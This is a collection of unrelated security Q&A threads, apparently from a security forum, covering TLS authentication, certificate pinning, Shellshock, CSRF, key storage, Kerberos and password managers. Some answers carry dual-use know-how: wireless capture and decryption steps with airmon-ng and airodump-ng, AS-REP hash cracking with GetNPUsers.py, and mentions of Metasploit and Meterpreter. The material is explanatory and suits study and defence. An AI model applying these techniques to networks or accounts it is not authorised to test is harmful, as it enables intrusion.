Client-Authentication during TLS/SSL and Replay-Attacks I have found this explanation about how a Client-Authentication works during  SSL-Handshake. So according to oracle a client-authentication works as follow:

The Client sends his certificate, random-data and a signiture of that random data to the server.
Server verify the signiture of the random-data using the public key in the certificate.
The server checks the certificate’s validity period.
Server checks if the CA in the certificate is a trusted CA.
Server uses the public key of the CA to verify the signiture in the certificate.

After these five steps the User is authenticated.

Question:
If an Attacker gets the User certificate, the random-data and the signiture of that random-data, is the attacker able to start a replay-attack?

I think that the random-data must be chellange to prevent against a replay-attack. So what is the common way to authenticate a user by using a client-certificate?

I think you did not fully understand how client authentication works and the article you cite does it describe it only in a simplified way. To cite from this article:

  The SSL protocol requires the client to create a digital signature by creating a one-way hash from data generated randomly during the handshake and known only to the client and server.

The import part is that these are not random data generated by the client only but that part of the random data is generated by the client and another random data are generated by the server. Or to say it more correctly: the client signs all messages send and received so far with its certificate. These messages include among others also 256 bit random data generated by the client and another 256 bit random data generated by the the server.  See RFC 5246 (TLS 1.2) section 7.4.8 for the details.

  If an Attacker gets the User certificate, the random-data and the signiture of that random-data, is the attacker able to start a replay-attack?

Since the signature in the CertificateVerify message also depends on random data generated by the server a replay attack can only be done if the server would use the same random data in a handshake as in a handshake previously sniffed by the attacker. But this can only happen if the random generator in the server is severely broken or if the attacker is extremely lucky because the probability that the server uses exact the same 256 bit random number as in a previous handshake is nearly zero.


Possibility of undetectable encryption system I am not sure if it is pre-mature to ask such a question. The question is largely inspired by pondering over the question and discussions in the following link (In his answer, @Dad also raises similiar question there):
Can we still provide confidentiality when cryptography is outlawed?

Question: Are there any theoretical models of undetectable encryption system or any elementary work done on the same?

Most modern encryption systems are detected because it is easier to know that they are encrypted. For example:

 /*a basic working of an encryption function*/
 char* a = encrypt("Hello World");
 printf("%s", a);

We get something like, a = #$%HGFGYTU@724. Most security experts who intercept the exchange of 'a' will realise that it is an encryption and proceed with whatever further action. But on the contrary if 'a' was encrypted something like "I am fine" then, at first place, it would be difficult for the eavesdropper to even detect a presence of encryption. Thus, 'making sense' of encrypted text probably may be important.

By using the phrase "undetectable encryption system" I am explicitly ruling out mechanisms like steganography, for they often work on the probabilistic models of information being located or decoded.

I am talking of a deterministic model of encryption where if C eavesdrop on a message from A to B then C receives an interpretation, which though completely sensible to him/her, is not the same as the the interpretation shared by A & B.

Steganography is an answer to your question. Namely, you find a medium which normally contains a bit of "noise" which should be random looking (e.g. in the least significant bits of pixels in a photograph). Then, you replace that noise with your encrypted message: if the encryption system is any good, then the encrypted message will be indistinguishable from a sequence of random bits, except by using the encryption key. This is not very easy to build and somehow prevents using public-key cryptography (too much structure...). Properly applied, you get innocent-looking data with steganographic contents which cannot be detected through statistical analysis.

Without a "random noise" channel, things become much more difficult. You can "hide" information in text through some conventions; e.g. you decide that the first word of every sentence in an email will encode a 0 if it consists of an even number of characters, a 1 otherwise. You then can write your text around that convention, and it will be innocent-looking, but the data bandwidth will be very low; if you want to increase bandwidth, then this adds constraints and will make it more difficult to make text which has some meaning and does not look contrived. There again, encryption should be applied to the data which is to be hidden, so that it is externally "random" and thus does not show up in statistical analyses.

(Proper encryption would use, e.g., AES in CTR mode, with a random IV which is included in the message.)


Does a certificate with extended validation provide better security than certificate pinning? It looks like certificates with extended validation provide better protection than certificate pinning, but I'm unsure about this.

It looks like certificates with extended validation provide better protection than certificate pinning, but I'm unsure about this.

EV certificates do not offer better protection than pinning but worse.

With pinning the client expects a specific certificate, or a specific public key or a specific CA, depending on what exactly was pinned. Without pinning instead the client will accept any certificate issued by a locally trusted CA, no matter if EV or not. The client does not  know that the the original site would use a EV certificate and not simpler DV certificate and thus cannot expect an EV certificate. Thus without pinning it is sufficient for an attacker to compromise any of the public CA, no matter if EV was used or not.

One might then ask why not use pinning everywhere instead of relying on some brittle PKI with the trust in CA's? Simply because pinning requires that all clients need to know the certificate or key of the server before connecting to the server in order to verify it. These keys have to be propagated to the clients in a secure and reliable way and need to be updated whenever a certificate or key changes. This simply does not scale well. A PKI instead scales much better since only the trusted root CA need to be propagated and these rarely change.


Data recovery hardware need In terms of data recovery, what is the actual technical need for dedicated hardware such as Atola, PC3000 or Deepspar?
What are these devices doing that I cannot achieve using regular Hex/Digital Forensic methods?

I am deeply worried about the prices tbh.

These devices especially PC 3000 are quite famous in the world of data recovery.

  "The PC-3000 allows you to diagnose the HDD, fix damaged HDD modules,
  switch off defective heads, block access to the damaged area of
  magnetic surfaces, get access to the user data and many other
  functions."

I was wondering if I really need them for data recovery or is it just marketing?
I'm just thinking that some of the functions can be achieved from CLI/Linux.
I am not fully aware of the way devices are actually working.

Data recovery uses

Hardware can send instructions that a PC may be unable to normally
Drives can be cooled to keep them colder, which may help with recovering data from overheating drives
The power supplied to the drive may be isolated from the power for the connected computer, so a dying drive cannot damage the computer

Legal evidence uses

Hardware blockers can be certified so that it can be said that no editing took place
Automatic imaging can speed up downloading large amounts of data
Hashes can be automatically recorded when an image is made, for use in comparisons later
Some forms of malware designed to attack analysts machines can be detected before they do damage


Does FCGId use environment variables? (Or is it a possible attack vector for CVE-2014-6271/7169?) According to Red Hat

  httpd (attack vector):

  CGI scripts are likely affected by this issue: when a CGI script
  is run by the web server, it uses environment variables to pass data
  to the script. These environment variables can be controlled by the
  attacker. If the CGI script calls Bash, the script could execute
  arbitrary code as the httpd user. mod_php, mod_perl, and mod_python do
  not use environment variables and we believe they are not affected.

mod_php is not vulnerable to CVE-2014-6271 and CVE-2014-7169 because it does not use environment variables. Does mod_fcgid 2.x use environment variables?

mod_fcgi itself is not vulnerable: it talks to Apache through interprocess communication rather than the environment variables of traditional CGI.  Any CGI scripts run through mod_fcgi can still be vulnerable if 1) they can be coerced into setting environment variables and 2) invoke bash (say, through a system() call or backtick interpolation).


What are the security risks of allowing users to add iframes? In my web app I'm using a good sanitizer which let's me to whitelist some specific html tags.
I'd like to allow <iframe> so that users can insert youtube videos and so on.
However I'm worried about vulnerabilities that this approach would introduce.
So not sure this is a safe idea.
Appreciate your hints about this.

"As soon as you're displaying content from another domain, you're basically trusting that domain not to serve-up malware.
There's nothing wrong with iframes per se. If you control the content of the iframe, they're perfectly safe." - Shamelessly stolen from this thread.
However your web app could be vulnerable if there is XSS vulnerability inside the iframe content. You can mitigating this by setting the sandbox attribute.


how to save RSA keys in a software? I am working on a non-professional piece of software that is required to generate and store RSA keys (public and private). The generated keys will be used to encrypt communication across the Internet. Their value is not that high as the user will have the ability to generate new keys whenever they want.

I have two approaches to this:

I consider that the user's device must be secured by the user itself and then don't secure the keys (I don't consider this to be a good solution)
I secure the RSA keys in my software, but I have no idea what is/are the good practices

I, of course, intend to use solution 2. However, I don't know how to safely store private/public keys. Are there some good/common practices? If yes, what are they? Should I store them in a file?

Ways to store keys

On a scale from Least Secure/Easiest to Most Secure/Hardest:

Least secure / easiest

Store the keys in plaintext

This is the easiest way, but anyone with access rights to the file can read the key out.
Store the keys in the system keychain

This stops other users from accessing the file, but depending on how the keychain is setup there are usually not many defences against malware that runs as the current user.
Store the keys in an encrypted file

This is more secure, but it requires the user to enter a password on each load, and the key will need to be in memory for at least long enough for it to be used, during this time it can be stolen
Store the keys in hardware

This is the most secure option, but it requires additional hardware, and if a presence check is not included then malware can talk to the hardware to perform key operations, even if it cannot extract the key.

Most secure / hardest


Can my school monitor what I do on my personal device? So, I was just at home, minding my business. I was on some sites that are not allowed at school, and my email was logged in.
I was using safari with the google site.
Do they know what I am doing now? They openly say they monitor everything we do on our school laptops.

The rule is that the admins of a machine can do pretty much anything they want on that machine.
So it is perfectly possible to install loggers that track any site accessed from that machine, and it is easy to do that. It could even be possible to log the full activity (including actions on locally installed programs), but this is only used for very sensitive laptops to make sure that an attacker has not accessed them.
Anyway this will learn you one of the basic security rules: if someone else has control over your device, it is not your device. So you should not use it for something that they forbid.


How could the hacker tamper with the 'configuration.php' file in my Joomla web server? I have a web server hosting Joomla 1.5. I discovered that the Joomla configuration file configuration.php was modified by a hacker. How could he do so?

Note that the file has 777 permission. Also, when I try to directly browse the file www.mysite.com/configuration.php I get an empty page as a response.

First of all, the 777 permission means that the configuration file you are talking about can be edited by any other user on the system. So basically, a hacker who compromises your server and gets operating system access has the required permissions to tamper that file.

A hacker can compromise your server and get system access simply by exploiting a vulnerable service running on your server, like old unpatched versions of Samba or FTP.

He could also exploit a vulnerability within your web server or your PHP installation to gain remote code execution privileges. As an example, take a look at this PHP CGI bug which can be easily exploited using the free open source Metasploit Framework.

Most likely, the hacker changed your configuration file by exploiting a vulnerability in your Joomla installation. By the time of this writing, the latest Joomla 1.5.x series update is 1.5.26. Is your Joomla installation fully updated?

If you want to trace the hacker's activity a good starting point would be inspecting your log files, assuming of course that the hacker did not cover his traces and tampered these as well.


What does WPA2 traffic look like to a packet sniffer that is not connected to the network? Imagine there is a wireless network using WPA2, and an attacker has come along with his wireless card in monitor mode. What will the packets from that network look like? Is any information disclosed i.e Destination/Source IPs/Ports? Or is it all just encrypted? The attacker is not connected to the network.

It doesn't ultimately matter whether the attacker is connected to the WPA2-PSK network or not: if an attacker can capture the 4-way handshake and knows the pre-shared key, it's possible to decrypt all traffic.

Theory

That said, if you just look at individual 802.11 datagrams without analysing their flow any further, they are link layer (L2) datagrams containing link layer information: four MAC addresses.

Those addresses represents the transmitter (TA), receiver (RA), source (SA) and destination (DA) addresses, but their meaning and placement in the header depends on the values of the To DS and the From DS bits in the header, as described in the document IEEE 802.11-05/0710r0:

  Note that Address 1 always holds the receiver address of the intended
  receiver (or, in the case of multicast frames, receivers), and that
  Address 2 always holds the address of the station that is transmitting
  the frame.

WPA2 a.k.a. IEEE 802.11i-2004 doesn't encrypt these L2 headers, but all the information in the frame body, i.e. everything from network layer (L3) up to application layer (L7).

To address your concerns:

IP addresses are network layer (L3) information → encrypted.
TCP/UDP ports are transport layer (L4) information → encrypted.

On the other hand, there's still some information disclosed:

MAC addresses may reveal the manufacturer of the devices, which could be used for finding possibly vulnerable access points or e.g. IoT devices.
IPv4 & IPv6 multicast can be detected: although the IP headers including the multicast addresses are encrypted, the destination MAC addresses are standard and known (01-00-5E-, 33-33-).
The BSSID associates the datagram to a certain pair of AP & SSID, as an AP as a transmitter and as a receiver is distinguished solely based on the BSSID, and the SSID is typically broadcasted in the IEEE 802.11 Beacon frame. Therefore, the amount of data every device is transmitting can be associated to the network they are using, as well as the timing. E.g. if someone had an IoT washing machine we could identify, we could guess their laundry day.
Although the SSID might not be broadcasted with the beacon frames, devices connecting to the network will reveal the SSID in probe request frames. Also, computers trying to connect to saved networks will leak this information periodically even when they are not near any access points of this network. E.g. from my home I can guess several companies my neighbours are working for.

To be more exact, the data is encrypted and authenticated, but the 802.11 headers are only authenticated in both CCMP (AES) and TKIP. That is summarized in these two diagrams from 802.11i Overview, IEEE 802.11-04/0123r1:

  CCMP MPDU Format

  TKIP Design (1) – MPDU Format s

Practice

If you concretely want to see yourself how it looks like in detail, you could e.g.

Monitor a wireless adapter using airmon-ng. No need to connect to the network.
Capture some packets using airodump-ng.
Investigate the capture file (.cap) using Wireshark.

First without decrypting anything. (That's what you were asking.)

Configure Wireshark for decrypting the WPA2 and inspect the capture again.

Go to Preferences > Protocols > IEEE 802.11,
[x] Enable decryption
and add the PSK key for decryption.
Open the (.cap) again and let Wireshark decrypt it.


How to identify user created vs. external functions in disassembly I'm new to assembly and have been playing around with it. While i was analyzing malware, I realised that there are multiple functions named sub_xxxxxx. How does one determine if this sub_xxxxxx is created by a user, or if it is a function that is imported from somewhere else?

If the program is dynamically linked, functions are usually pretty easy to identify since you will see imported functions with their correct name. E.g. a user created function will be shown as sub_xxxxxx, and printf will be shown as printf.

However, if the program is statically linked, it will be hard to tell the difference between user-created and imported functions. Tools like Ida's FLIRT exist to recognize known functions; there may be some free alternatives as well.


TLS Record layer: Security Parameters In TLS RFC, Security Parameters in Record Layer are defined

      BulkCipherAlgorithm    bulk_cipher_algorithm;
      CipherType             cipher_type;
      uint8                  enc_key_length;
      uint8                  block_length;
      uint8                  fixed_iv_length;
      uint8                  record_iv_length;
      MACAlgorithm           mac_algorithm;
      uint8                  mac_length;
      uint8                  mac_key_length;
      CompressionMethod      compression_algorithm;
      opaque                 master_secret[48];
      opaque                 client_random[32];
      opaque                 server_random[32];

master_secret, clinetrandom ..etc are exchanged in handshakeprotocol

But cipherAlgorithm, mac algorithm?

These are exchanged in handshakeprotocol too?

I read RFC but I couldnt find about it

When these values(about encryption and mac ) are exchanged?

The cipher an mac algorithms are defined by the cipher suite which gets negotiated during the TLS handshake. The client offers a list of supported cipher suites in the ClientHello and the server accepts a specific one inside the ServerHello. See also section 8 of RFC 5246 (TLS 1.2):

  Cryptographic Computations
  ...  The authentication, encryption, and MAC algorithms are determined by the cipher_suite selected by the  server and revealed in the ServerHello message.

In Appendix C of RFC 5246 you then find some mappings of cipher suite to cipher and mac algorithms:

Cipher Suite                            Key        Cipher         Mac
                                        Exchange

TLS_NULL_WITH_NULL_NULL                 NULL         NULL         NULL
TLS_RSA_WITH_NULL_MD5                   RSA          NULL         MD5
TLS_RSA_WITH_NULL_SHA                   RSA          NULL         SHA
TLS_RSA_WITH_NULL_SHA256                RSA          NULL         SHA256
TLS_RSA_WITH_RC4_128_MD5                RSA          RC4_128      MD5
...


Auto urlencode burp scanner requests Almost all of my XSS false positives come from Burp sending raw byte array payloads to the server and getting the same response injected into DOM or whatever. But in real world browsers automatically URL encode requests (RFC standard), and this is something Burp can't yet handle. Or at least I couldn't find it.

Do you have something for this? I'm talking about the Scanner explicitly.

I would've made an extension that implements IScannerInsertionPointProvider correctly, but as far as I know there's no way to apply it only for XSS payloads. There are some other vectors where non-urlencoded version is the one I want to use.

It sounds like these are genuine findings.

Be aware that Internet Explorer does not encode less-than signs in URLs. Have a go at reproducing the finding using IE. If you are not able to, that indicates something else is going on.

If you need further assistance, please email support@portswigger.net and include screenshots of a false positive.


Which user authentication measures are used nowadays? I was reading about Passwords and came across methods used for authenticating client to a server. Since sending password in Plain text to the server isn't the best method for authentication of a user, certain methods were described which provide resistance to replay attacks, MITM etc.

Some methods described were:-

1) Random Challenge method, where server providing a random string to client, client encrypting it with its key/password (symmetric) and sending the result back to the server. Server doing the similar process (or the reverse) to determine the authenticity of the user.

2) Relying on SSL/TLS for the encyption

3) Certificate based Authentication

My question is -
Which of the above method is in current practice? Like when we try to login to our Google, Facebook or Stackexchange account which authentication method is used?

It really depends on the service.

The most common is password-base authentication (and probably will stay like this for a long time). All this services you mentioned use TLS for encryption to mitigate possible MIM attacks.

What is becoming a common practice nowadays is to offer 2FA. A list of web-sites that already offer it: https://twofactorauth.org/

It is important to understand that it is one more layer of security and do not aim to replace password based authentication.

Additionally, most of services offer OAuth2 nowadays. For example, when you access the Stack Exchange using your Google account. Of course, you must authenticate in your Google account, using password based authentication.

Password authentication is widely used because came first and is more scalable than other methods.
Let's say my server offers certificate authentication.
If you want to authenticate to it, you must have a certificate that is signed by a Certificate Authority that my server trusts. You must buy and have this certificate installed in your computer too.
This is not a simple configuration for most end-users in the internet.

There are some other methods that are used by enterprises, because they usually have all the infrastructure and the web-sites are only accessed inside the corporate network, for example:
SAML2.0, Kerberos, JWT, etc.


What do Paypal protected buttons defend against? Paypal says that protected payment buttons are more secure as they cannot be altered by malicious third parties. I'm trying to figure out what they are supposed to protect against. If the attacker has gained access to your website and can edit your source files, wouldn't they just replace it with their own Paypal button, instead of trying to edit parameters?

Protected payment button encrypts the payment amount and item details, in such way that your users won't be able to pay for that item but with different payment amount. When using regular pay button, as a vendor you have to check that the amount paid matches your own price list for the item before processing the order, this is because your user can change the payment amount.


How are 2 Open IDs linked on StackExchange? I have an account with Google & Facebook. Login IDs for them both are same (same gmail id).
When logging into StackOverflow using either of Google or Facebook logins would link to same account.
How does that work?

Stackoverflow likely uses an internal id after you log into the site.  Then (after logging in) you can merge the other IDs.

If you sign in using the alternate ID and never merged them then they appear as separate accounts, even if the user is actually the same human.

Here is SO's source code for OpenID.  Let me know if you dig up something interesting, the folks at StackExchange write great code you can learn from


Is it safe to store the reset password token in PHP session I have a login system created in PHP. It currently doesn't have the "forgot password" feature and I would like to implement the feature.

For this I'm planning to do the following:

When user submits the form with email on "forgot password" page, an email with a unique token of 50 characters is sent.
The unique key generated is stored in the session cookie using
$_SESSION['forgotPassToken'] = "tokenof50chars";
The page asks to type the unique token sent to the user's email inbox.
When the token is entered, code checks if the token on session and the one entered is the same.
If same, a new session variable name forgotPassVerified is generated and is redirected to a page where user can enter the new password and submit.
Password is changed and the session is destroyed. Pages asks user to login with new password.

My question: Is it safe to store the randomly generated token in the PHP session or should I use database?

I don't like to do this in database. That's why I'm approaching this session way.

Here are the reasons why I'm not using database for storing tokens:

Some users (crackers) just submits the form with an email. They
don't check the inbox.
Save database space
Reduce usage of executing SQL queries.

Is it safe to store the randomly generated token in the PHP Session or should I use database?

It can be if done properly. How is access controlled to the files that store the session information? This is especially a concern on a shared system.

There are drawbacks to this approach though. Sessions expire and email can be slow. If the user doesn't get the email immediately, they may close the browser, in which case the session id stored in the browser would be cleared. Then when they get the email and type in the secret, you can't validate the request.


How to choose/compromise between data protection, and device recovery? I'm sure many of you have probably seen (online or in-person) the DEFCON 18 presentation, demonstrating what can happen if you steal a hacker's computer.  For those who haven't, the link is below.  It's quite an entertaining presentation.

(Warning:  Video may be NSFW/NSFLE due to offensive language and some censored, full nudity.)

http://www.youtube.com/watch?v=U4oB28ksiIo

The video demonstrates how, after having his desktop computer stolen, one hacker used a combination of DynDNS updates and remote access services to recover the system and some data.  However, as the presenter admits himself, this is only possible through leaving open what some may consider major security holes.

The hard drive was not encrypted.
The thief was able to use the system without authentication & authorization.
Remote access services present a larger attack surface.

Had the system been secured more thoroughly, his data would have been very well protected.  However, he would not have been as likely to recover the hardware.  Hardware is something that directly equates to cold, hard cash.  Data on the other hand, especially data that has been properly backed up to off-site storage, has less of a direct impact on one's bottom line - particularly for home users.  In corporate environments, data theft can be a huge fiasco.  However, for average Joe User, the risk can range from mild inconvenience to still-mostly-preventable identity theft, or just a general loss of some privacy.

How could one weigh the pros of hardware recovery against the cons of data loss, or vice-versa?  Are there particular scenarios where each protection scheme particularly outweighs the other?  Can there be a good compromise between the two - a scenario in which all of your data is tightly guarded, but your system is configured to be easily trackable?

In general, since I don't have a specific case to look at, you simply need to answer the question:

Which is worth more to you?

Where worth is defined however you like. Hardware is expensive and data is cheap monetarily, so let me expand and consider two use-case scenarios:

You're working on something ground-breaking/commercially sensitive. Having your data stolen is going to be a problem because this data is very, very important to your future profitability. In which case, if somebody steals your laptop, that's expensive, but not nearly as critical as losing that all important latest mix, or whatever.
You're a bog standard home user. You've got doc1.doc files all over your hard disk, but most of them contain "Photos of the cat aged 3 1/4" or "That funny email from dave!!!11". You've got a few saved games you'd rather not lose and a bookmark to your favourite lolcat. This is not really critical to you.

Clearly I am choosing two fairly contrived extremes, but the point holds. In either case, the security measures you apply should be appropriate to the risk you're trying to mitigate. If you don't hold much data of any significant interest or value on your computer, you should do enough to ensure you can trust your system to do whatever it is you want to do. If you do process information you think is pretty valuable, start adding encryption and the like into the mix.


What exactly could we get as an attacker if Kerberos Pre-Authentication is disabled? I'm learning about how Kerberos and it's common exploits work and I'm a little confused.  In this video explaining the process we see that at one of the earlier points the user is provided with two packets, one of them being a TGT:
http://www.youtube.com/watch?v=2WqZSZ5t0qk&t=6m0s

Now from what I understand people can use the python script GetNPUsers.py to crack the hash of the users password by brute forcing the hashed TGT.  However this doesn't seem technically correct: What we would really want to hash (according to the video) is the blue packet since once that is cracked that will provide the user's password, and so then we can pose as the user.

With this in mind, with pre-authentication disabled (which shouldn't ever happen in a real world setting as far as I know), how would we ever get the user password simply from cracking the hash of the TGT?  Would we have to provide a valid user id and (since pre-auth is disabled) kerberos would happily provide the blue and red packets?

Ultimately I'm not sure what we're cracking: A user account or a TGS account?

You wouldn't ever try and brute force the TGS session keys, as they are almost certainly going to be randomly generated in any implementation out in the wild. This isn't strictly true with older versions of Kerberos (v4), but there aren't, or shouldn't, be any production systems still running older versions.

The only attack that's practically possible is attacking the AS-REP, that is, the response that contains the TGT, because the response is encrypted using the users long term credential, which is their password. If you can bruteforce the key and decrypt the response you now either know the password, or the derivation of the password, which is just as useful. You aren't breaking the krbtgt secret in any way.

In principle this also applies to attacking the tickets in TGS-REPs to get the service principals secret, but you're not going after the session keys. Instead you're going after the tickets themselves. It's basically the same bruteforce attack. Find the key that decrypts the ticket and you've found the service principals long term credential, which is their password. This is however impossible without already knowing the user credential since you need the long term credential to get the session key to decrypt the response.

Certain service principals like krbtgt have long randomly generated passwords so the likelihood of bruteforcing that key is nil.


How does Nessus send remote commands on Windows without RDP? I would like to know how Nessus sends remote commands on Windows. I have a scan with credentials launched on a Windows machine without RDP enabled, and Nessus can launch commands (.audit with the item PowerShell). How is this possible?

Is it possible send commands using SMB or NetBIOS?

EDIT
I want to do the same with python: connect to the host and run a command. I think Nesuss is using SMB with DCERPC. Some example or idea?

There are many ways that Nessus, and similar scanners or other utilities, may remotely control or alter systems without RDP enabled. In fact, you'll probably be hard-pressed to find any remote management utility or vulnerability scanner that requires RDP.

Remote Desktop is mainly for the human user. Graphical interfaces help us to more easily interpret and manipulate data and control elements. However, automated tools have no such needs. In fact, a graphical interface would just slow them down. So, for these things, there are other protocols and programming interfaces available which allow them to remotely read and manipulate data and settings without a GUI getting in the way.

Depending on the system's configuration, its inherent vulnerabilities, and the information (e.g.: credentials) provided to the scanner, one or more of the following may have been used:

Remote Registry
Administrative Shares/SMB (e.g.: \\ComputerName\C$\)
WMI
PowerShell Remoting

Those are just some of the most commonly-used features that might be available remotely from a Windows system. Even if one of these doesn't give a tool the access it needs, it could be useful to drop in a custom utility (e.g.: Meterpreter) that does.

If you want to know for sure how Nessus is accessing the system for a specific test, your best bet is to look at the script definition and check the appropriate reference materials for the tool. Or, you could hook up a sniffer like WireShark and see what traffic is being passed.


What is connect() method in NScan? While reading about NScan tool, I came across the connect() method. This article about the NScan says

  NScan itself is a port scanner, which uses connect() method to find
  the list of the host's open ports.

So,

What is this connect() method? Is this method used only in NScan or is it in other port scanners too?

A connect() scan generally refers to a network scan that performs a full TCP three-way handshake (SYN, SYN/ACK, ACK) in order to determine whether a port is open or not.  Once those three packets have been transmitted by the respective hosts there is a connection open and ready to pass traffic.  The scanner will then either close the connection with a RST or FIN, or they could conceivably just stop using it and eventually the server will time it out and recover the resources.

There are many alternatives, the most common being a SYN scan - the scanner sends a SYN and waits for a SYN/ACK.  If it sees it, it concludes the port is open, even though it hasn't fully opened a connection.  The scanner does not send an ACK to complete the connection, and the server's TCP stack will close out the nascent connection in response to a RST or after (far shorter) timeouts (than are used for open connections).

connect() scans are generally easier to detect, because applications often log fully opened and closed connections, especially connections that close at the TCP instead of at the application layer (e.g., they'll complain that "IP a.b.c.d DIDN'T SAY GOODBYE").  This makes a connect() scan easier to detect.  Also, because OS resources are dedicated for fully opened connections, it is possible to tax resources on a host by nailing up a bunch of connections and then not using them - e.g., the "timeout" method is particularly rude.

The reason one might use a connect() scan (-sT in nmap) is that it's more reliable.  Nothing says "a host will talk on this port" like getting the host fully ready and willing to talk on that port.  Some other scan modes may have false positives.  There have been times I re-scanned individual ports that appeared open to SYN scans and was unable to verify the port was open with connect() mode scans.

(N.B. ALL scan modes can have false positives.  As my therapist likes to say, "Don't believe everything you think.")


Does printk() cause any security issues? I'm asking myself if the function printk() causes security issues on Linux.
When an attacker has user level access to the system, does it make his life easier if he has access to kernel pointers? Does the usage of printk() support him in any ways when searching for some privilege escalation vulnerabilities on the system?

It can be easily disabled through setting CONFIG_PRINTK=n as configuration flag of the Linux kernel. Should it be done on a highly secured system?
How is it about embedded systems?
(I know that the system will be very silent afterwards.)
Does anybody has any recommendations or experiences about this?

I'm asking myself if the function printk() is a security issue on Linux.

This depends on whether or not there are any printk() calls which may print unsanitized pointers. Generally, pointers will be sanitized when kernel.kptr_restrict is non-zero. This works because the identifier for pointers is %pK, which sanitizes pointers by default. However, there seem to be a lot of situations in which mistakes result in accidental pointer leakage, for example because some value is calculated from a pointer and printed, or because a typo results in %pk being used instead, which does not go through the same sanitization process. This is not unique to this function and can even happen in virtual filesystems like proc and sysfs as well. These infoleaks are not rare.

  When an attacker has user level access to the system, does it make his life easier if he has access to kernel pointers?

Well yes and no. The worst thing an attacker can do* with kernel pointers is discover the base offset of the kernel to break KASLR. Unfortunately, KASLR is already quite useless against local attackers, as has been shown time and time again (most often by Brad Spengler). It can be defeated either through infoleaks as mentioned above, or through a variety of timing attacks against most CPU architectures.

  It can be easily disabled through setting CONFIG_PRINTK as configuration flag of the Linux kernel. Should it be done on a highly secured system?

No. There is a better option. Instead of disabling printing, make it a requirement to have high privileges to read the kernel log buffer. This can be done by setting kernel.dmesg_restrict to 1. This both protects from pointers that happen to not get sanitized and leak into the syslog from being available to attackers, as well as hiding other potentially sensitive information that might get printed there.

* This is only true for stock kernels. If you compile your own kernel, especially if using RANDSTRUCT, knowledge of pointers becomes necessary for an attacker since it can allow pinpointing the actual offset of sensitive kernel functions.


web application extracts uploaded tar files, is it vulnerable? I have a python based web application running on a linux server,

Is the following flow vulnerable?

HTTP file upload (regular post from browser)
server validates max size before processes the file (before extraction)
file is processed - stored on temporary directory and named randomly (using a GUID as filename)
uploaded file (tar.gz file) is extracted using a new child process (tar working directory is also a temporary directory):

tar xf <uploaded file path>

extracted files are being parsed (simple json files) and then deleted

As long as you don't execute files contained in that tarball you're on the safe side of the fence.

As you seem to have realized, there is a potential threat (known as a zip bomb) which contains heavily compressed content which, when extracted without size checking, will use a huge amount of space on the disk.

// when you say max size you mean the size of the tar file or the size of the extracted files?


Why do you need to encrypt symmetric key? I'm reading this pki article and as you can see near the bottom, the quick animation and description:

  The sending computer encrypts the document with a symmetric key, then encrypts the symmetric key with the public key of the receiving computer. The receiving computer uses its private key to decode the symmetric key. It then uses the symmetric key to decode the document.

So my question:

1: This description seem to describe asymmetric encryption model, but then why are they encrypting it with a symmetric key?

2: Why bother using a key at all to encrypt the document?  Why not just encrypt the document with the public key directly and decrypt it with the private key on the receiving computer?

Thanks

Most asymmetric encryption algorithms are very slow while most symmetric algorithms are quite fast. When you want to encrypt a large file with asymmetric encryption, encrypting and decrypting will take a while. But when you only encrypt the symmetric key, you don't have much data, so it will be quite fast, and you can then use the symmetric key to decrypt the large message quickly.

Hybrid encryption also allows to encrypt the message efficiently for multiple recipients. With asymmetric encryption alone you would have to encrypt the whole message multiple times - once for each recipient. But with hybrid encryption you just need to encrypt multiple copies of the symmetric key while you only need one copy of the message.

Another advantage of hybrid encryption is that you never send the same cyphertext twice. A new symmetric key is (or should be) generated for each message. That means when the same plaintext is encrypted twice to the same receiver, the cyphertexts will look different. When you would use only the public key, both cyphertexts would be identical. This might be exploitable in some situations. For example when an eavesdropper suspects that you sent one of a limited set of known plaintexts encrypted with a public key they also have access to.


Origin Header Vs Token based mitigation OWASP CSRF Prevention cheatsheet talks about two popular mitigations for CSRF - Origin/Referrer header check and Token based.

Are there any issues Origin/referrer check based mitigation that could have been caught by token based mitigation and vice versa? I am just trying to understand if we need to employ both of them in our applications. I would like to implement both of them if each of them has any drawback that could have been caught by the other one (If there is nothing as such - I would like to just select one of them for now and consider about adding other defense in depth measure at later point of time)

Token based approach is what I consider the most effective way of preventing CSRF attacks. If implemented correctly, token based measure never fails. While the other methods depend totally on the browser which isn't in one's control and shouldn't be relied upon. For example, EDGE still allows spoofing referrer header on GET requests. Also, privacy concerned users might disable sending such headers altogether. This may break your application for such users.
These header based approaches are used specifically to reduce server overhead of storing and checking token for each user or for each page because you wouldn't have to store anything at all.
I could see many drawbacks of using Origin/Referrer header while there aren't any for token based approach.

And, implementing one is enough to prevent CSRF attacks. There's no use in implementing both.


Is there a decentralized version of LastPass? I am using LastPass for managing passwords on multiple computers.

However, LastPass extension (at least the chrome version) is running some opaque  binary code through Native Client, and I just feel that I don't trust the company running LastPass anymore, since it's based in USA ( https://lastpass.com/about-lastpass/ )

However, I don't know any other solution.

What I would want is:

a multiplatform program / browser extension, that works just as seamlessly as LastPass
said extension would work in a "decentralized" way

one solution I can think of is that it would let me select a file where the passwords are saved and encrypted with a "master" password, and I would share the file online via, say, DropBox

being 100% open source would be nice

I especially need the multiplatformity - I spend most of my time on OS X and Linux, but I unfortunately need to use Windows 7 and Vista time from time.

Working off of your three bullet points, I'll address KeePass.

  a multiplatform program / browser extension, that works just as seamlessly as LastPass

Multiplatform: the official KeePass 2.25 support Windows XP through 8 plus Mono (i.e. Linux, FreeBSD, MacOS).  There are a variety of ports, including KeePassDroid for Android, some for iPhone/iPad, Blackberry, MacOS, J2ME, Linux native, etc.

Just as seamlesly: Not as much (unless the browser extension does this for you), though if you master the "URL" field you can do things like simply switching to the KeePass window and let AutoType and/or Open do it for you - as a non-browser Windows example, you can hit Ctrl-U to open up a Remote Desktop window to the target, switch back to the KeePass window and press Ctrl-V to AutoType username and password; then you're in.

  said extension would work in a "decentralized" way one solution I can think of is that it would let me select a file where the passwords are saved and encrypted with a "master" password, and I would share the file online via, say, DropBox

KeePass definitely lets you choose a file for each database, and you can share it via DropBox.  KeePass 2.x also natively supports databases via FTP, HTTP and WebDAV, and has a plugin for SCP, SFTP and FTPS.  Multiple machines can have the database open for write at once - it asks to synchronize when it detects another alteration as you're saving your own alteration.

KeePass also allows multi-factor authentication (i.e. passphrase + a key file or hardware token), which I would really recommend if you're making your database available to other parties - that way if you accidentally type in your KeePass database password into your DropBox login, someone at DropBox won't have everything they need to open your file.  I say this because you mention you're worried about LastPass's integrity.

  being 100% open source would be nice

KeePass is GPL licensed.

